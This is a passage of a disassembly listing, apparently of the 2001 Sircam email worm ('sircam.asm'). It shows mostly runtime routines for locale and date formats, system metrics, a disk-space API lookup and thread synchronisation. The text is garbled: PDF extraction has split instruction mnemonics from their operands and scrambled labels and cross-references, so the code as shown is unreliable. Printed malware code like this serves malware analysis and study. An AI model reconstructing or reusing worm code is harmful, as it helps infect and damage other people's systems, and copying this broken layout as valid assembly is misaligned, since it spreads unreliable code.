; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409E90:
; CODE XREF: sub_409E3C+4B\030j
inc
[esp+8+var_8]
jmp
short loc_409E98
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409E95:
mov
loc_409E98:
sub_409E3C
mov
pop
pop
pop
pop
retn
endp
; CODE XREF: sub_409E3C+20\030j
; sub_409E3C+29\030j
[esp+8+var_8], ebx
; CODE XREF: sub_409E3C+10\030j
; sub_409E3C+1B\030j ...
eax, [esp+8+var_8]
ecx
edx
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409EA0
proc near
var_8
var_4
= dword ptr -8
= byte ptr -4
push
push
add
mov
mov
xor
mov
test
jle
mov
call
cmp
jle
mov
call
mov
; CODE XREF: sub_408234+BE\030p
; sub_408234+121\030p
ebx
esi
esp, 0FFFFFFF8h
ebx, edx
esi, eax
eax, eax
[esp+8+var_8], eax
ebx, ebx
short loc_409EF8
eax, esi
sub_403724
ebx, eax
short loc_409EC6
eax, esi
sub_403724
ebx, eax
loc_409EC6:
; CODE XREF: sub_409EA0+1B\030j
cmp
byte ptr ds:dword_41E5B0, 0
jz
short loc_409EF5
push
esp
lea
ecx, [esp+0Ch+var_4]
mov
edx, ebx
mov
eax, esi
call
sub_409DC8
mov
eax, esi
call
sub_403724
cmp
eax, [esp+8+var_8]
jge
short loc_409EF8
mov
eax, esi
call
sub_403724
mov
[esp+8+var_8], eax
jmp
short loc_409EF8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409EF5:
; CODE XREF: sub_409EA0+2D\030j
sircam.asm
Fri Aug 10 12:42:44 2001
mov
loc_409EF8:
sub_409EA0
mov
pop
pop
pop
pop
retn
endp
273
[esp+8+var_8], ebx
; CODE XREF: sub_409EA0+10\030j
; sub_409EA0+47\030j ...
eax, [esp+8+var_8]
ecx
edx
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409F00
proc near
; CODE XREF: CODE:004092CE\030p
push
ebx
push
esi
mov
ebx, edx
mov
edx, ebx
call
sub_409F28
mov
esi, eax
test
bl, bl
jz
short loc_409F23
test
eax, eax
jz
short loc_409F23
loc_409F15:
; CODE XREF: sub_409F00+21\031j
mov
inc
mov
call
test
jnz
esi, eax
eax
edx, ebx
sub_409F28
eax, eax
short loc_409F15
loc_409F23:
sub_409F00
; CODE XREF: sub_409F00+F\030j
; sub_409F00+13\030j
mov
pop
pop
retn
endp
eax, esi
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409F28
proc near
push
push
push
mov
mov
mov
mov
call
mov
test
jz
ebx
esi
edi
ebx, edx
esi, eax
edx, ebx
eax, esi
sub_407628
edi, eax
edi, edi
short loc_409F62
mov
sub
mov
call
sub
jb
jz
edx, edi
edx, esi
eax, esi
sub_409D38
al, 1
short loc_409F62
short loc_409F51
; CODE XREF: sub_409F00+6\030p
; sub_409F00+1A\030p
loc_409F3E:
; CODE XREF: sub_409F28+38\031j
sircam.asm
Fri Aug 10 12:42:44 2001
274
jmp
short loc_409F52
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409F51:
; CODE XREF: sub_409F28+25\030j
inc
edi
inc
mov
mov
call
mov
test
jnz
edi
edx, ebx
eax, edi
sub_407628
edi, eax
edi, edi
short loc_409F3E
loc_409F52:
; CODE XREF: sub_409F28+27\030j
loc_409F62:
sub_409F28
; CODE XREF: sub_409F28+14\030j
; sub_409F28+23\030j
mov
pop
pop
pop
retn
endp
eax, edi
edi
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409F68
proc near
var_18
var_14
= byte ptr -18h
= byte ptr -14h
; CODE XREF: sub_40A020+1E\031p
push
push
push
push
add
mov
lea
mov
mov
mov
mov
call
test
jz
mov
ebx
esi
edi
ebp
esp, 0FFFFFFE8h
edi, offset dword_41C104
ebp, [esp+18h+var_14]
esi, offset unk_41E5A8
dword ptr [esi], 409h
word ptr [esi+4], 9
word ptr [esi+6], 1
j_GetThreadLocale_0
eax, eax
short loc_409F9A
[esi], eax
test
jz
mov
and
mov
movzx
shr
mov
ax, ax
short loc_409FB4
edx, eax
dx, 3FFh
[esi+4], dx
eax, ax
eax, 0Ah
[esi+6], ax
push
call
test
setnz
mov
push
call
test
setnz
mov
; CODE XREF: sub_409F68+35\030j
4Ah
j_GetSystemMetrics
eax, eax
al
[esi+9], al
2Ah
j_GetSystemMetrics
eax, eax
bl
[esi+8], bl
loc_409F9A:
; CODE XREF: sub_409F68+2E\030j
loc_409FB4:
sircam.asm
Fri Aug 10 12:42:44 2001
275
test
bl, bl
jz
short loc_40A016
push
ebp
push
0
call
j_GetCPInfo
xor
esi, esi
jmp
short loc_40A007
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409FE2:
mov
mov
sub
jb
inc
mov
; CODE XREF: sub_409F68+AC\031j
al, [ebp+esi+6]
bl, [ebp+esi+7]
bl, al
short loc_40A004
ebx
[esp+18h+var_18], al
mov
and
bts
inc
dec
jnz
; CODE XREF: sub_409F68+9A\031j
al, [esp+18h+var_18]
eax, 0FFh
[edi], eax
[esp+18h+var_18]
bl
short loc_409FF2
add
esi, 2
cmp
jge
mov
or
jnz
esi, 0Ch
short loc_40A016
al, [ebp+esi+6]
al, [ebp+esi+7]
short loc_409FE2
loc_409FF2:
loc_40A004:
; CODE XREF: sub_409F68+84\030j
loc_40A007:
; CODE XREF: sub_409F68+78\030j
loc_40A016:
sub_409F68
; CODE XREF: sub_409F68+6C\030j
; sub_409F68+A2\030j
add
pop
pop
pop
pop
retn
endp
esp, 18h
ebp
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40A020
proc near
var_40
var_3C
var_38
var_34
var_30
var_2C
var_28
var_24
var_20
var_1C
var_18
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
dword
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_40B2D4+4B\031p
-40h
-3Ch
-38h
-34h
-30h
-2Ch
-28h
-24h
-20h
-1Ch
-18h
-14h
-10h
-0Ch
-8
-4
sircam.asm
Fri Aug 10 12:42:44 2001
276
push
mov
mov
ebp
ebp, esp
ecx, 8
push
push
dec
jnz
push
xor
push
push
push
mov
call
call
cmp
jz
call
; CODE XREF: sub_40A020+D\031j
0
0
ecx
short loc_40A028
ebx
eax, eax
ebp
offset loc_40A2EB
dword ptr fs:[eax]
fs:[eax], esp
sub_409F68
sub_408D9C
byte ptr ds:dword_41E5B0, 0
short loc_40A056
sub_408F74
call
mov
lea
push
xor
mov
mov
call
mov
mov
call
lea
push
mov
mov
mov
call
mov
xor
call
mov
lea
push
mov
mov
mov
call
mov
xor
call
mov
mov
mov
mov
call
mov
mov
mov
mov
call
mov
lea
push
mov
mov
mov
call
; CODE XREF: sub_40A020+2F\030j
j_GetThreadLocale_0
ebx, eax
eax, [ebp+var_10]
eax
ecx, ecx
edx, 14h
eax, ebx
sub_408CEC
edx, [ebp+var_10]
eax, offset dword_41E4E8
sub_40351C
eax, [ebp+var_14]
eax
ecx, offset dword_40A300
edx, 1Bh
eax, ebx
sub_408CEC
eax, [ebp+var_14]
edx, edx
sub_407058
ds:byte_41E4EC, al
eax, [ebp+var_18]
eax
ecx, offset dword_40A300
edx, 1Ch
eax, ebx
sub_408CEC
eax, [ebp+var_18]
edx, edx
sub_407058
ds:byte_41E4ED, al
cl, 2Ch
edx, 0Fh
eax, ebx
sub_408D38
ds:byte_41E4EE, al
cl, 2Eh
edx, 0Eh
eax, ebx
sub_408D38
ds:byte_41E4EF, al
eax, [ebp+var_1C]
eax
ecx, offset dword_40A300
edx, 19h
eax, ebx
sub_408CEC
loc_40A028:
loc_40A056:
sircam.asm
Fri Aug 10 12:42:44 2001
mov
xor
call
mov
mov
mov
mov
call
mov
lea
push
mov
mov
mov
call
mov
lea
call
mov
mov
call
lea
push
mov
mov
mov
call
mov
lea
call
mov
mov
call
mov
mov
mov
call
mov
lea
push
mov
mov
mov
call
mov
mov
call
lea
push
mov
mov
mov
call
mov
mov
call
lea
call
lea
call
lea
push
mov
mov
mov
call
mov
xor
call
test
eax, [ebp+var_1C]
edx, edx
sub_407058
ds:byte_41E4F0, al
cl, 2Fh
edx, 1Dh
eax, ebx
sub_408D38
ds:byte_41E4F1, al
eax, [ebp+var_24]
eax
ecx, offset dword_40A30C
edx, 1Fh
eax, ebx
sub_408CEC
eax, [ebp+var_24]
edx, [ebp+var_20]
sub_409024
edx, [ebp+var_20]
eax, offset dword_41E4F4
sub_40351C
eax, [ebp+var_2C]
eax
ecx, offset dword_40A31C
edx, 20h
eax, ebx
sub_408CEC
eax, [ebp+var_2C]
edx, [ebp+var_28]
sub_409024
edx, [ebp+var_28]
eax, offset dword_41E4F8
sub_40351C
cl, 3Ah
edx, 1Eh
eax, ebx
sub_408D38
ds:byte_41E4FC, al
eax, [ebp+var_30]
eax
ecx, offset dword_40A334
edx, 28h
eax, ebx
sub_408CEC
edx, [ebp+var_30]
eax, offset dword_41E500
sub_40351C
eax, [ebp+var_34]
eax
ecx, offset dword_40A340
edx, 29h
eax, ebx
sub_408CEC
edx, [ebp+var_34]
eax, offset dword_41E504
sub_40351C
eax, [ebp+var_8]
sub_4034C8
eax, [ebp+var_C]
sub_4034C8
eax, [ebp+var_38]
eax
ecx, offset dword_40A300
edx, 25h
eax, ebx
sub_408CEC
eax, [ebp+var_38]
edx, edx
sub_407058
eax, eax
277
sircam.asm
Fri Aug 10 12:42:44 2001
278
jnz
short loc_40A214
lea
eax, [ebp+var_4]
mov
edx, offset dword_40A34C
call
sub_403560
jmp
short loc_40A221
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40A214:
lea
mov
call
; CODE XREF: sub_40A020+1E3\030j
eax, [ebp+var_4]
edx, offset dword_40A358
sub_403560
loc_40A221:
; CODE XREF: sub_40A020+1F2\030j
lea
eax, [ebp+var_3C]
push
eax
mov
ecx, offset dword_40A300
mov
edx, 23h
mov
eax, ebx
call
sub_408CEC
mov
eax, [ebp+var_3C]
xor
edx, edx
call
sub_407058
test
eax, eax
jnz
short loc_40A283
lea
eax, [ebp+var_40]
push
eax
mov
ecx, offset dword_40A300
mov
edx, 1005h
mov
eax, ebx
call
sub_408CEC
mov
eax, [ebp+var_40]
xor
edx, edx
call
sub_407058
test
eax, eax
jnz
short loc_40A276
lea
eax, [ebp+var_C]
mov
edx, offset dword_40A364
call
sub_403560
jmp
short loc_40A283
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40A276:
lea
mov
call
loc_40A283:
; CODE XREF: sub_40A020+245\030j
eax, [ebp+var_8]
edx, offset dword_40A374
sub_403560
; CODE XREF: sub_40A020+222\030j
; sub_40A020+254\030j
push
push
push
push
mov
mov
call
push
push
push
push
mov
mov
call
mov
mov
mov
call
mov
xor
pop
pop
[ebp+var_8]
[ebp+var_4]
offset dword_40A384
[ebp+var_C]
eax, offset dword_41E508
edx, 4
sub_4037E4
[ebp+var_8]
[ebp+var_4]
offset dword_40A390
[ebp+var_C]
eax, offset dword_41E50C
edx, 4
sub_4037E4
cl, 2Ch
edx, 0Ch
eax, ebx
sub_408D38
ds:byte_41E5EC, al
eax, eax
edx
ecx
sircam.asm
Fri Aug 10 12:42:44 2001
pop
mov
push
loc_40A2DD:
sub_40A020
279
ecx
fs:[eax], edx
offset loc_40A2F2
; CODE XREF: CODE:0040A2F0\031j
lea
eax, [ebp+var_40]
mov
edx, 10h
call
sub_4034EC
retn
endp ; sp = -34h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40A2EB:
; DATA XREF: sub_40A020+13\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40A2DD
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40A2F2:
; DATA XREF: sub_40A020+2B8\030o
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_40A300
dd 30h, 0FFFFFFFFh, 6
; DATA XREF: sub_40A020+60\030o
; sub_40A020+84\030o ...
dword_40A30C
dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_40A020+105\030o
dword_40A31C
dd 6D6D6D6Dh, 202C6420h, 79797979h, 0, 0FFFFFFFFh, 2
; DATA XREF: sub_40A020+132\030o
dword_40A334
dd 6D61h, 0FFFFFFFFh, 2 ; DATA XREF: sub_40A020+172\030o
dword_40A340
dd 6D70h, 0FFFFFFFFh, 1 ; DATA XREF: sub_40A020+194\030o
dword_40A34C
dd 68h, 0FFFFFFFFh, 2
; DATA XREF: sub_40A020+1E8\030o
dword_40A358
dd 6868h, 0FFFFFFFFh, 5 ; DATA XREF: sub_40A020+1F7\030o
dword_40A364
dd 504D4120h, 4Dh, 0FFFFFFFFh, 5 ; DATA XREF: sub_40A020+24A\030o
dword_40A374
dd 4D504D41h, 20h, 0FFFFFFFFh, 3 ; DATA XREF: sub_40A020+259\030o
dword_40A384
dd 6D6D3Ah, 0FFFFFFFFh, 6 ; DATA XREF: sub_40A020+269\030o
dword_40A390
dd 3A6D6D3Ah, 7373h
; DATA XREF: sub_40A020+286\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40A398
proc near
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
; CODE XREF: sub_40A430+7\031p
dword ptr -14h
dword ptr -10h
byte ptr -0Ch
dword ptr -8
byte ptr -4
push
mov
add
push
xor
mov
xor
push
push
push
mov
call
mov
test
jz
mov
mov
ebp
ebp, esp
esp, 0FFFFFFECh
ebx
eax, eax
[ebp+var_14], eax
eax, eax
ebp
offset loc_40A422
dword ptr fs:[eax]
fs:[eax], esp
j_GetLastError_0
ebx, eax
ebx, ebx
short loc_40A3F2
[ebp+var_10], ebx
[ebp+var_C], 0
sircam.asm
Fri Aug 10 12:42:44 2001
280
lea
edx, [ebp+var_14]
mov
eax, ebx
call
sub_408CA0
mov
eax, [ebp+var_14]
mov
[ebp+var_8], eax
mov
[ebp+var_4], 0Bh
lea
eax, [ebp+var_10]
push
eax
push
1
mov
ecx, ds:off_41DAE8
mov
dl, 1
mov
eax, ds:off_406B34
call
sub_409548
jmp
short loc_40A404
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40A3F2:
mov
mov
mov
call
; CODE XREF: sub_40A398+23\030j
ecx, ds:off_41DB40
dl, 1
eax, ds:off_406B34
sub_40950C
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40A398+58\030j
[eax+0Ch], ebx
sub_402F98
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40A429
loc_40A404:
loc_40A419:
sub_40A398
; CODE XREF: CODE:0040A427\031j
lea
eax, [ebp+var_14]
call
sub_4034C8
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40A422:
; DATA XREF: sub_40A398+F\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40A419
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40A429:
; DATA XREF: sub_40A398+7C\030o
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40A430
proc near
; CODE XREF: sub_40D920+16\031p
push
ebx
mov
ebx, eax
test
ebx, ebx
jnz
short loc_40A43C
call
sub_40A398
loc_40A43C:
sub_40A430
; CODE XREF: sub_40A430+5\030j
mov
pop
retn
endp
eax, ebx
ebx
sircam.asm
Fri Aug 10 12:42:44 2001
281
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40A440
proc near
; CODE XREF: sub_40B194+27\031p
push
ebx
mov
ebx, offset unk_41C2E0
jmp
short loc_40A458
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40A448:
; CODE XREF: sub_40A440+1B\031j
mov
mov
mov
mov
call
loc_40A458:
sub_40A440
cmp
jnz
pop
retn
endp
eax, [ebx]
edx, [eax]
[ebx], edx
edx, 8
sub_4025B0
; CODE XREF: sub_40A440+6\030j
dword ptr [ebx], 0
short loc_40A448
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40A460
proc near
; CODE XREF: sub_40B2D4+55\031p
push
ebx
push
offset dword_40A498
call
j_GetModuleHandleA_1
mov
ebx, eax
test
ebx, ebx
jz
short loc_40A481
push
offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push
ebx
call
j_GetProcAddress_0
mov
ds:dword_41C128, eax
loc_40A481:
cmp
jnz
mov
mov
; CODE XREF: sub_40A460+F\030j
ds:dword_41C128, 0
short loc_40A494
eax, offset sub_40745C
ds:dword_41C128, eax
loc_40A494:
sub_40A460
; CODE XREF: sub_40A460+28\030j
pop
ebx
retn
endp ; sp = -0Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dword_40A498
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ; DATA XREF: sub_40A460+1\030o
aGetdiskfreespa db ’GetDiskFreeSpaceExA’,0 ; DATA XREF: sub_40A460+11\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40A4BC
loc_40A4CA:
proc near
; CODE XREF: CODE:0040E4AC\031p
push
ebx
push
esi
test
dl, dl
jz
short loc_40A4CA
add
esp, 0FFFFFFF0h
call
sub_402CDC
; CODE XREF: sub_40A4BC+4\030j
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
xor
mov
call
lea
push
call
push
push
push
push
call
mov
push
lea
mov
mov
call
add
mov
test
jz
call
pop
add
ebx, edx
esi, eax
edx, edx
eax, esi
sub_402BAC
eax, [esi+4]
eax
j_InitializeCriticalSection_0
0
0FFFFFFFFh
0FFFFFFFFh
0
j_CreateEventA
[esi+1Ch], eax
4
eax, [esi+28h]
ecx, 1
edx, ds:off_406BF8
sub_4045A0
esp, 4
eax, esi
bl, bl
short loc_40A51D
sub_402D34
large dword ptr fs:0
esp, 0Ch
loc_40A51D:
sub_40A4BC
282
; CODE XREF: sub_40A4BC+50\030j
mov
eax, esi
pop
esi
pop
ebx
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40A524
proc near
; DATA XREF: CODE:00406C64\030o
push
ebx
push
esi
call
sub_402D3C
mov
ebx, edx
mov
esi, eax
mov
eax, esi
call
sub_40A5A0
mov
edx, ebx
and
dl, 0FCh
mov
eax, esi
call
sub_402BCC
mov
eax, [esi+1Ch]
push
eax
call
j_CloseHandle_0
lea
eax, [esi+4]
push
eax
call
j_DeleteCriticalSection_0
test
bl, bl
jle
short loc_40A55F
mov
eax, esi
call
sub_402D2C
loc_40A55F:
sub_40A524
; CODE XREF: sub_40A524+32\030j
pop
esi
pop
ebx
retn
endp ; sp = -8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
283
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40A564
proc near
; CODE XREF: sub_40A5A0+1C\031p
push
ebx
push
esi
mov
esi, eax
xor
eax, eax
cmp
dword ptr [esi+2Ch], 0
jz
short loc_40A59A
xor
ebx, ebx
mov
eax, [esi+28h]
call
sub_4043EC
mov
edx, eax
jmp
short loc_40A57F
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40A57E:
; CODE XREF: sub_40A564+27\031j
; sub_40A564+2F\031j
inc
ebx
cmp
jle
mov
mov
test
jz
mov
cmp
jz
edx, ebx
short loc_40A595
eax, [esi+28h]
eax, [eax+ebx*8]
eax, eax
short loc_40A57E
ecx, [esi+28h]
eax, [esi+2Ch]
short loc_40A57E
cmp
setle
edx, ebx
al
pop
pop
retn
endp
esi
ebx
loc_40A57F:
; CODE XREF: sub_40A564+18\030j
loc_40A595:
; CODE XREF: sub_40A564+1D\030j
loc_40A59A:
sub_40A564
; CODE XREF: sub_40A564+A\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40A5A0
proc near
push
mov
lea
push
call
cmp
jnz
call
mov
mov
call
test
jnz
push
mov
push
call
; CODE XREF: sub_40A524+D\030p
; sub_40E3D0+2C\031p
ebx
ebx, eax
eax, [ebx+4]
eax
j_EnterCriticalSection_0
byte ptr [ebx+34h], 0
short loc_40A5E4
j_GetCurrentThreadId_0
[ebx+2Ch], eax
eax, ebx
sub_40A564
al, al
short loc_40A5D0
0FFFFFFFFh
eax, [ebx+1Ch]
eax
j_WaitForSingleObject
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40A5D0:
mov
mov
xor
mov
xor
mov
mov
loc_40A5E4:
sub_40A5A0
284
